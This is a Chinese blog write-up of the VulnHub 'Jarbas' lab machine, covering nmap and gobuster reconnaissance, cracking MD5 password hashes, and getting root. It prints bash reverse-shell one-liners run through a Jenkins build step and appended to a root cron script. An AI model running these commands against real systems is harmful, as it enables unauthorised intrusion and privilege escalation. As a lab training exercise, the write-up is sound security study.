vulnhub打靶记之Jarbas主机

0x00 笔注

靶机下载地址:https://download.vulnhub.com/jarbas/Jarbas.zip

靶机攻关讲解视频(billbili上发现的,讲的特别好):https://www.bilibili.com/video/BV1jm4y1A7Tm

靶机下载较慢,建议使用 Free Download Manager 下载。

最后安利一波我写的工具:https://github.com/sh1yan/Lscan

0x01 信息收集

这次我们使用ping命令进行靶机IP定位,也就是通过ICMP协议发现C段内的存活主机。

1
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL"

由于是自己的路由器环境下,所以一眼就看出来 192.168.1.10 就是靶机IP地址。

接下来就是跑端口,看看开启了哪些服务。

1
nmap -min-rate 10000 -p- 192.168.1.10

使用 -min-rate 指定最小的发包速率为1万,然后 -p- 扫描所有端口。

接下来继续使用探测下对应端口服务的版本和操作系统信息。

1
nmap -sT -sV -O -p22,80,3306,8080 192.168.1.10

-sT TCP连接扫描,-sV 对端口上的服务程序版本进行识别,-O 对目标主机的操作系统进行识别

最后,用nmap的漏扫功能跑下漏洞,看看有什么结果没。

1
nmap --script=vuln -p22,80,3306,8080 192.168.1.10

扫描结果并没有什么有效的信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
Starting Nmap 7.80 ( https://nmap.org ) at 2022-12-19 11:31 ?D1ú±ê×?ê±??
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 192.168.1.10
Host is up (0.0026s latency).

PORT STATE SERVICE
22/tcp open ssh
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp open http
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.1.10
| Found the following possible CSRF vulnerabilities:
|
| Path: http://192.168.1.10:80/
| Form id: wmtb
| Form action: /web/submit
|
| Path: http://192.168.1.10:80/
| Form id:
| Form action: /web/20020720170457/http://jarbas.com.br:80/user.php
|
| Path: http://192.168.1.10:80/
| Form id:
|_ Form action: /web/20020720170457/http://jarbas.com.br:80/busca/
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
|_ /icons/: Potentially interesting folder w/ directory listing
| http-sql-injection:
| Possible sqli for queries:
| http://192.168.1.10:80/index_arquivos/?C=M%3bO%3dA%27%20OR%20sqlspider
| http://192.168.1.10:80/index_arquivos/?C=N%3bO%3dD%27%20OR%20sqlspider
| http://192.168.1.10:80/index_arquivos/?C=D%3bO%3dA%27%20OR%20sqlspider
| http://192.168.1.10:80/index_arquivos/?C=S%3bO%3dA%27%20OR%20sqlspider
| http://192.168.1.10:80/index_arquivos/?C=S%3bO%3dA%27%20OR%20sqlspider
| http://192.168.1.10:80/index_arquivos/?C=D%3bO%3dA%27%20OR%20sqlspider
| http://192.168.1.10:80/index_arquivos/?C=M%3bO%3dD%27%20OR%20sqlspider
| http://192.168.1.10:80/index_arquivos/?C=N%3bO%3dA%27%20OR%20sqlspider
| http://192.168.1.10:80/index_arquivos/?C=D%3bO%3dA%27%20OR%20sqlspider
| http://192.168.1.10:80/index_arquivos/?C=S%3bO%3dA%27%20OR%20sqlspider
| http://192.168.1.10:80/index_arquivos/?C=N%3bO%3dA%27%20OR%20sqlspider
|_ http://192.168.1.10:80/index_arquivos/?C=M%3bO%3dA%27%20OR%20sqlspider
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-trace: TRACE is enabled
3306/tcp open mysql
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug)
8080/tcp open http-proxy
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| http-enum:
|_ /robots.txt: Robots file
MAC Address: 00:0C:29:11:8A:24 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 78.70 seconds

那接下来就是常规的扫目录了,这里我一开始是用的御剑1.5来着,但是并没有跑出来啥,那就用up主用的扫目录的工具和字典吧。

gohuster:https://github.com/OJ/gobuster/tree/master/gobusterdir

raft-large-directories.txt:https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/raft-large-directories.txt

1
gobuster.exe dir -u http://192.168.1.10 -w raft-large-directories.txt -x html,php

可以看到还是发现了一些信息的,那就看一下发现的内容吧。

分别去somd5上破解下看看明文都是啥:

1
2
3
4
5
6
7
8
tiago:5978a63b4654c73c60fa24f836386d87
italia99

trindade:f463f63616cb3f1e81ce46b39f882fd5
marianna

eder:9b38e2b1e8b12f426b0d208a7ab6cb98
vipsu

此刻,我们就得到三个账号的密码,接下里去登录下后台看看。

经过尝试发现,只有 eder / vipsu这个账号密码是可以正常登录使用的,以下是后台截图。

0x02 后台拿shell

既然进了后台,肯定就是后台拿shell了,一般来说都是找文件上传等的方式的,这个是jenkins,拿shell有点不一样。

1、新建一个任务,输入任务名称,选择构建一个自由风格的软件项目,再点确定。

2、选择构建,因为目标主机是linux系统,所以在增加构建步骤里,选择Execute shell 即可。

3、在Command中输入反弹shell的命令:/bin/bash -i >& /dev/tcp/192.168.1.7/10086 0>&1 然后点击保存即可。

4、这时,我们本地先做好反弹shell的监听 nc64.exe -lvnp 10086

5、然后在Jenkins后台我们创建的项目里这边,点击立即构建,即可完成反弹shell。

0x03 提权操作

到这一步就是不断的尝试的过程,先尝试下查看cat /etc/shadow 文件吧,如果可以,还可以和上一篇一样使用john进行密码爆破。

那继续看下sudo -l 的权限吧。

没有权限,还是不行,那继续看下有没有计划任务吧 cat crontab 。

不错,发现一个root权限定时运行的脚本,每5分钟运行一下,那查看脚本里的内容吧 cat /etc/script/CleaningScript.sh 。

就是定时清理下日志,那我们先本地再起一个netcat监听,然后尝试往这个脚本里写入一个反弹shell。

1
.\nc64.exe -lvnp 10010

然后开始写入脚本里反弹shell。

1
echo "/bin/bash -i >& /dev/tcp/192.168.1.7/10010 0>&1" >> /etc/script/CleaningScript.sh

等待几分钟后,可以看到,我们已经拿到root权限下的shell了。

剩下的,查看下flag.txt 内容吧。

0x04 总结

打这个靶场先使用了ping命令进行C段内靶机寻找,然后使用nmap分别进行全端口扫描、对应开放端口服务扫描,以及nmap自带的漏洞扫描,在扫目录的时候发现自己的御剑工具不太行,就换成up主用的那个gobuster 和 相应的目录字典发现有用的目录文件信息,通过破解MD5值进入了jarbas应用的后台,并且利用应用功能特性创建了一个反弹shell的软件,并获取到了一个普通shell,最后通过修改计划任务里一个shell脚本的内容,获取到了root的权限。

在获取到第一个普通权限时,我想使用 python -c ‘import pty;pty.spawn(“/bin/bash”)’ 获取一个交互的shell,但是因为当前账号权限没有这个bash的权限(通过cat /etc/passwd)可以看出来,故GG了。